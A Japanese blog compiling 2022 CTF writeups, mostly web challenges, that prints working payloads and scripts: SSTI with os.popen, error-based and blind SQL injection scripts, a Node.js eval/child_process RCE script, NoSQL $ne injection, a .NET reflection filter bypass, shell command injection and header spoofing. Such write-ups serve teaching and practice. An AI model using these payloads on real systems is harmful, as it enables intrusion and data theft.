はまやんはまやんはまやん

hamayanhamayan's blog

TUCTF 2022 Writeups

[web] Hyper Maze

迷宮が与えられる。

GET /pages/page_aesthetician100.html
ソースコードを眺めているとpage_drawl99.htmlというのが見つかる。
なるほどね。
page_ほにゃらら数字.htmlを探して、順番にたどっていけばいい

import requests
import re
import time

BASE = 'https://hyper-maze.tuctf.com/pages/'
page = 'page_aesthetician100.html'

for _ in range(99):
    t = requests.get(f'{BASE}{page}').text
    page = re.findall(r'(page_[a-z]*[0-9]*\.html)', t)[0]
    print(page)
    time.sleep(3)

page_lagenaria1.htmlが手に入るので
GET /pages/page_lagenaria1.htmlを探すと
3xtr4_s3cr3t_fl4g_429850252068.htmlというのが見つかり、
GET /pages/3xtr4_s3cr3t_fl4g_429850252068.htmlにアクセスするとフラグ。

[web] Swapping Heads

Sorry! This site is only available from noon to midnight!
ほう。
HTTPリクエストにDateヘッダーというのがあったな。
MDNにあるサンプルを適当にいじって出してみる。

Date: Wed, 21 Oct 2015 23:28:00 GMT
->
Wait a minute! That browser is not from March 2009!

user agentを古いものにしないといけない?
ちょっと調べると
2009年3月のブラウザニュース | RBB TODAY
IE8かFirefox 3.1っぽい?

IE8のuser agentを入れるとすすむ。
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)
->
No can do! Where is your email for this site?

From - HTTP | MDN
こういうのあるのか
From: webmaster@example.org
ちがうのか…?

From: webmaster@swapping-heads.tuctf.comを入れたらフラグが降ってきた。

[web] Tornado

Tornadeとか、templateとか、そういったワードがあるのでSSTIを狙う。
{{4*4}}としてみるとHello 16!と言われるので方向性はOK.

{% import os %}{{ os.popen("ls").read() }}
lookatme.txt
が見つかる。
{% import os %}{{ os.popen("cat lookatme.txt").read() }}
Z28gdG8= L3BhcnR0d29vZnRoZXByb2JsZW0=
->
go to/parttwooftheproblem

第一ステージは突破したみたい。

Bob has 1027524 cookies. Alice has 2 cookies. How many cookies does Joe have?と言われる。 POST /namecheckの応答に
<p style="color:white"> Joe has 12957293 cookies - so forgetful, making me put it on the webpage</p>
とある。

色々試すとCookie: are_you_joe=12957293とするとフラグが出てきた。

taskctf22 writeups

[web] robots

robotsという題名なので、とりあえず/robots.txtを見る。
User-Agent: * Disallow: /admin/flag
とあるので、/admin/flagを見てみると、

401 Unauthorized
ほにゃらら is not internal IP address :(

と言われる。なるほど、IPアドレス偽装をする必要がありそう。
よくある方法として、HTTPリクエストヘッダーを悪用する方法がある。
色々なヘッダーが候補として使えるがX-Forwarded-For: 127.0.0.1を入れると突破できた。

[web] first

本当にごめんなさいという感じですが、Blind SQL Injectionで解きました…
他の人の解法を見たら普通にSQL Injectionできたんですね…

脆弱性がある箇所については分かりやすく、app.pyの54行目でSQL Injectionが発生している。
cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
ここのLIKE文以降に差し込める。

union selectでいい感じにusersテーブルを埋め込もうとしたが、微妙にうまくいかない。
andで条件文を伸ばすとうまく動いたので、これを利用してBlind SQL Injectionをした。

100番目に登録したユーザーを特定する必要があるが、ユーザーのIDにはuuid7が使われている。 uuid7は時間順にソート可能なUUIDv6, UUIDv7, UUIDv8の提案仕様 - ASnoKaze blogにあるように時間順にソート可能なので、それを見れば前後関係が分かる。
同サイトを参考にすると、先頭にタイムスタンプがついているので、普通にユーザーのIDでソートしたときにソート順で小さい方から100番目のユーザー名を答えればいい。

最終的に以下のようなコードで100番目のユーザーのIDを特定した。
(0x00000000000000000000000000000000,0xffffffffffffffffffffffffffffffff]の範囲で二分探索をしていき、特定のユーザーID以下のユーザーの件数が100以上かそうでないかを検索結果から読み取ることで二分探索を進めていくと、最終的なokラインが100番目のユーザーのIDとなっている。

import requests
import urllib.parse
import re
import time

def int_to_uuid(i):
    t = "{:032x}".format(i)
    return f"{t[0:8]}-{t[8:12]}-{t[12:16]}-{t[16:20]}-{t[20:]}"

BASE = 'http://34.82.208.2:31555/'

def get(q):
    t = requests.get(f"{BASE}?q={urllib.parse.quote(q)}").text
    r = re.findall(r'<h5 class=\"card-header\">([^<]*)</h5>', t)
    return set(r)

ng = 0x00000000000000000000000000000000
ok = 0xffffffffffffffffffffffffffffffff

while ng + 1 != ok:
    md = (ok + ng) // 2
    uuid = int_to_uuid(md)
    print(f"[+] {uuid}")

    if 0 < len(get(f"%' and 100 <= (select count(*) from users where id <= '{uuid}') /*")):
        ok = md
    else:
        ng = md
    
    time.sleep(3)

print(int_to_uuid(ok))

これを走らせるとIDが018455f4-aa1e-771e-8eae-f342965a4ed1であることが分かるので、
後はそれを使って%' and users.id = '018455f4-aa1e-771e-8eae-f342965a4ed1' /*のようにするとユーザー名も分かる。

HITCON CTF 2022 🎲 RCE Writeup

[web] 🎲 RCE

ランダムで先頭から合わせていって、20文字分を良い感じのRCEにしてやればいい。
eval(req.query.n);//を出せばあとは、なんとでもなるので、これを目指す。

最初やった間違い方針

目的のhexに対して1/16を引くまで試す。
だが、結果が分かるのは40文字引いた後なので、1文字目をチェックするには39文字分引いてやる必要があるので、
1文字目では1回の試行で40回のリクエストが必要になる。
2文字目では1回の試行で39回のリクエストが必要になる。
これをやるとだいぶ時間がかかるのだが、期待を胸に試してみる。
以下のようなコードを書いて、(背徳感を胸に)sleep無しでバスターしたが…
15分のインスタンス生存制限に…間に合わない…
運営チーム、すみません…

import requests
import time

cmd = 'eval(req.query.n)//'.encode().hex()
url = 'http://xxx.rce.chal.hitconctf.com/'

print(cmd)
goal = 's%3A6576616c287265712e71756572792e6e292f2'

def init_code():
    r = requests.get(url)
    return r.cookies['code']

code = init_code()

def go(code):
    r = requests.get(url + 'random', cookies={'code':code})
    #print(f"{r.text} | {code}")
    #time.sleep(0.1)
    return r.cookies['code']

def run(code):
    r = requests.get(url + 'random', cookies={'code':code})
    return r.content[36:56].hex()

st = code
for i in range(len(cmd)):
    ok = False
    for _ in range(256):
        cand = go(st)
        c = cand
        for j in range(40 - i - 1):
            c = go(c)
        h = run(c)
        if cmd[:(i+1)] == h[:(i+1)]:
            print(f"{i+1} | {h} | c={cand}")
            st = cand
            ok = True
            break
    if not ok:
        print("NO!!!!")
        exit(-1)

for i in range(40 - len(cmd)):
    st = go(st)

r = requests.get(url + "random?n=process.mainModule.require('child_process').execSync('cat%20%2fflag*').toString()", cookies={'code':st})
print(r.text)

通った解法

他に攻撃できる部分あるかな?と思って色々調べると
Encrypted Cookies · Issue #12 · expressjs/cookie-parser を偶然見つける。
あ、前半部分はエンコードしてるだけなのね…
それまでは、40個目まで取得して動かして結果を確認していたが、
最後までやらなくてもCookieを見てあっているか判定すればいい。
これならだいぶ早くなる。

import requests
import time

cmd = 'eval(req.query.n);//'.encode().hex()
url = 'http://xxx.rce.chal.hitconctf.com/'

print(cmd)
goal = 's%3A6576616c287265712e71756572792e6e293b2f2f'

def init_code():
    r = requests.get(url)
    return r.cookies['code']

code = init_code()

def go(code):
    r = requests.get(url + 'random', cookies={'code':code})
    #print(f"{r.text} | {code}")
    #time.sleep(0.1)
    return r.cookies['code']

def run(code):
    r = requests.get(url + 'random', cookies={'code':code})
    return r.content[36:56].hex()

for i in range(len(cmd)):
    ok = False
    for _ in range(1010):
        cand = go(code)
        if cand[:(i+5)] == goal[:(i+5)]:
            print(f"{i+1} | c={cand}")
            code = cand
            ok = True
            break
    if not ok:
        print("NO!!!!")
        exit(-1)

r = requests.get(url + "random?n=process.mainModule.require('child_process').execSync('cat%20%2fflag*').toString()", cookies={'code':code})
print(r.text)

GlacierCTF 2022 Writeups

[web] FlagCoin Stage 1

適当に動かして履歴を見てみるとPOST /graphqlというのが見える。
mutationでloginというのが使われていた。

使えるmutationを列挙してみる。
{ __schema { mutationType { fields { name type { name kind } } } } }

{"data":{"__schema":{"mutationType":{"fields":[{"name":"login","type":{"name":"User","kind":"OBJECT"}},{"name":"register_beta_user","type":{"name":"User","kind":"OBJECT"}},{"name":"redeem","type":{"name":"Voucher","kind":"OBJECT"}}]}}}}

履歴に残っているlogin以外にregister_beta_userというのもありそう。引数はlogin時と同じなので同じ要領で使ってみる

{"query":"\n      mutation($username: String!, $password: String!) { \n        register_beta_user(username: $username, password: $password) { \n          username \n        } \n      }\n      ","variables":{"username":"jgksadjfiawefasefdsd","password":"3489egjfdbjfdsgkdskl"}}

こんな感じにやるとユーザー登録できるので後はログインするとフラグが書いてある。

[web] FlagCoin Stage 2

同じサイトだが、ソースコードが追加で与えられる。
有効なバウチャーコードが入力できればフラグが得られる。
バウチャーコードを入力すると以下のような感じにリクエストが飛ぶ。

{"query":"\n        mutation($voucher: JSON!) { \n          redeem(voucher: $voucher) { \n            coins\n            message\n          } \n        }\n        ","variables":{"voucher":{"code":""}}}

backendでmongodbが使われてるのでNoSQL Injectionを狙って$neを使ったいつものやつをやってみるとフラグが出てきた。

{"query":"\n        mutation($voucher: JSON!) { \n          redeem(voucher: $voucher) { \n            coins\n            message\n          } \n        }\n        ","variables":{"voucher":{"code":{"$ne":"abc"}}}}

[web] RCE as a Service (Stage 1)

System.IO.File.ReadAllText(\"../flag.txt\")が差し込めればいい。
配列に対して何かしらの操作が行えるようである。
色々やっていると以下でフラグが得られた。

{
"Data": [""],
"Query": "(data) => data.Select(d => d + System.IO.File.ReadAllText(\"../flag.txt\"))"
}

[web] RCE as a Service (Stage 2)

System.IOという文字列が禁止されている。
何とかする必要がありそうだが、Reflectionをうまく使えば行けそう。
試行錯誤すると以下でフラグが得られる。

System.Text.Encoding.ASCII.GetString((System.Byte[])Type.GetType(\"System.I\"+\"O.File\").GetMethod(\"ReadAllBytes\", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public).Invoke(null, new object[] { \"../flag.txt\" }))

以下あたりを参考にしながら解いた。

[web] Glacier Top News 解けてない

ソースコードが与えられている。
環境変数にフラグが入っているが、どこかで使われはいない。
コードを読み進めるとapi.pyにてget_system_infoメソッドで環境変数を返している処理が見つかる。
呼び出し元を見るとPOST /api/system_infoでその内容が取得できる。
だが、jwtでの認証を通す必要があり、ここが課題点となりそう。

require_jwtメソッドで検証しているので確認しよう。
cookieのtokenにjwtを入れておけば検証してくれる。
普通の検証はしておらず、DBに入っているトークンと文字列比較して一致するか判定している。
jwtに対する攻撃法は適用できなさそう。
…となると、DBの内容が取得できないかという話になる。

Databaseクラスは機能が少なすぎて、何もできなさそうなので、"/tmp/glacier.db"の取得を狙う。
POST /api/get_resourceが怪しいが…

ここからずっと違う所見てました…
課題 36276: [CVE-2019-9740] Python urllib CRLF injection vulnerability - Python tracker
ずっとこれだと思って検証してましたが…全然関係ない…
discordで解法見ると{"url":"/tmp/glacier.db"}とするとdbが得られる。
うーん。

Sunshine CTF 2022 Writeups

[web] Transparency

ドメインについての調査みたいで、問題名がTransparencyとあるので、CTログをたどってみるとフラグがあった。

crt.shで
https://crt.sh/?q=sunshinectf.org
のように検索すると、指定されている特別なフラグフォーマットに合致するドメインが見つかる。

[web] Inspect Element

サイトにアクセスして、ソースコードを眺めるとフラグが書いてある。

[web] Network Pong

pingコマンドが打てるサイト。
localhostで要求すると/?ip=localhostみたいに飛ぶ。
コマンドインジェクションを探る。エラーメッセージを見ながらこねこねすると以下のようにすればidコマンドが走る。

localhost};id;{sleep,0

./flag.txtが見えるのでエラーを回避するためにbase64で持ってきて、復元するとフラグ。

localhost};{base64,flag.txt};{sleep,0

[web] Listy と Timely! 解けてない…

どちらも/robots.txtを見れば前進できるそうです…
見なかった私が悪いのです…

UECTF2022 Writeups

[forensic] Deleted

ディスクイメージのようなのでFTK Imagerで開いて探索する。
[unallocated space]を見ると0143にフラグが書かれたファイルを確認することができる。

[forensic] Discord 1

それっぽいフォルダを漁っていく。
Cacheフォルダが怪しい。file *をしてみると色々画像ファイルがあるように見て取れる。
f_00003aを開いてみるとフラグが書いてあった。

[forensic] Discord2

適当にUECTFが含まれるファイルを探してみると、/Local Storage/leveldb
strings -n 10 * | grep UECTFをしてみるとフラグが見つかった。

[misc] caesar

先頭から全探索しても問題なさそうだったのでそれで解いた。
caesar_source.pyを改造して以下のようにして解いた。

from string import ascii_uppercase,ascii_lowercase,digits,punctuation

def encode(plain):
  cipher=''
  for i in plain:
    index=letter.index(i)
    cipher=cipher+letter[(index+14)%len(letter)]
  return cipher

ascii_all=''
for i in range(len(ascii_uppercase)):
  ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i]
letter=ascii_all+digits+punctuation
plain_text='UECTF{SECRET}'
cipher_text=encode(plain_text)
print(cipher_text)

res = '2LJ0MF0o&*E&zEhEi&1EKpmm&J3s1Ej)(zlYG'
ans = 'UECTF{'
while ans[-1] != '}':
    for ch in letter:
        c=encode(ans + ch)
        if res.startswith(c):
            ans += ch
            break
print(ans)

[misc] GIF1

GIFアニメの各frameを分解するとフラグが書かれた画像が取得できる。

[misc] redaction gone wrong 1

pdfminer/pdfminer.six: Community maintained fork of pdfminer - we fathom PDF
ここのpdf2txt.pyを使えば文字列をすべて抜いてこれる。
フラグも含まれる。

[misc] redaction gone wrong 2

「青い空を見上げればいつもそこに白い猫」のステガノグラフィー解析で
適当にフィルターをかけながら隠れている文字を見ていく。

[web] webapi

https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/にアクセスがあるがSOPがあって、フラグの内容が得られていないようである。
Burp Suiteでアクセス履歴を見るとフラグがある。

[web] request-validation

/?q[]とやるとqに配列が送られてqをobjectにすることができる。

[crypto] RSA

RSAの復号処理を実装する問題。
以下のように実装した。

c = 40407051770242960331089168574985439308267920244282326945397
p = 1023912815644413192823405424909
q = 996359224633488278278270361951
e = 65537

import gmpy2
from Crypto.Util.number import inverse, long_to_bytes

d = gmpy2.invert(e,gmpy2.lcm(p-1,q-1))
m = pow(c,d,p*q)
print(long_to_bytes(m))

SquareCTF 2022 Writeups

[web] Alex Hanlon Has The Flag!

ログイン画面が与えられる。
とりあえずadmin:admin'を試すと、エラーが出てくる。

Exceptions:
java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1

ok.
ユーザー名admin、パスワード' or ''=を試すと、Sorry, admin is the wrong userと言われる。
ok. 例外が出ているので、例外経由で情報が抜けないか試す。とりあえず手元にあるpayload試してみる。

'||extractvalue(null,concat(0x01,(select "abccd")));#
->
java.sql.SQLException: XPATH syntax error: 'abccd'

完璧ですね。情報を抜いていこう。

SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES
->
appdb,information_schema,perfor

select GROUP_CONCAT(distinct table_name) from information_schema.tables where table_schema = 'appdb'
->
user

select GROUP_CONCAT(column_name) from information_schema.columns where table_name='user'
->
password,username

select CONCAT(username,password) from user
->
admin,ahanlon

select GROUP_CONCAT(password) from user
->
password

問題文にAlex Hanlon has the flag! See if you can figure out his username and then login as himとあるのでahanlonでログインすれば良い。
普通に' or 1=1 #とかすると、最初の要素がadminなのでadminでログインしているような感じになってダメ。
1つ目はスキップさせるためにユーザー名は適当で、パスワードに' or 1=1 limit 1,1 #とすればフラグが出てくる。

[web] Going In Blind

ボーっとしていたら終わっていたが、一応ちゃんと解けた。

上の問題に入力値のバリデーションが追加されている。
英数字しか認めないような検証をしてて、これがなされていると何もできない。
問題名からもBlind SQLiをする必要がありそうだが、コードなしでこれはきついな…

しばらくしているとヒントが追加されていた。

Hint: Wait, did we make sure the input sanitization will run on every codepath?
ヒント: 待って、入力サニタイズはすべてのコードパスで実行されることを確認しましたか?

色々いじってみると、POST /で実施されている正常系をGETに変換しても動く。
GET /?username=b&password='%20or%201%3d1%20%23をやってみると検証がバイパスされて実行される。
ここからはblind SQLiしていく。

以下のようにスクリプトを書いて抜き取っていく。

import requests
import time
import urllib.parse

url = 'http://chals.2022.squarectf.com:4103'

#req = 'SELECT "abc"'
#[*] done! abc
#req = 'SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES'
#[*] done! [*] done! appdb,information_schema,performance_schema
#req = "SELECT GROUP_CONCAT(distinct table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='appdb'"
#[*] done! flag,user
#req = "SELECT GROUP_CONCAT(distinct column_name) FROM INFORMATION_SCHEMA.columns WHERE table_name='flag'"
#[*] done! flag
req = "SELECT GROUP_CONCAT(distinct flag) FROM flag"

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or if({md} <= ascii(substring(({req}),{i},1)), 1, 0) #"
        u = f"{url}/?username=a&password={urllib.parse.quote(exp)}"
        res = requests.get(u)
        if "Nope" not in res.text:
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    time.sleep(1)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")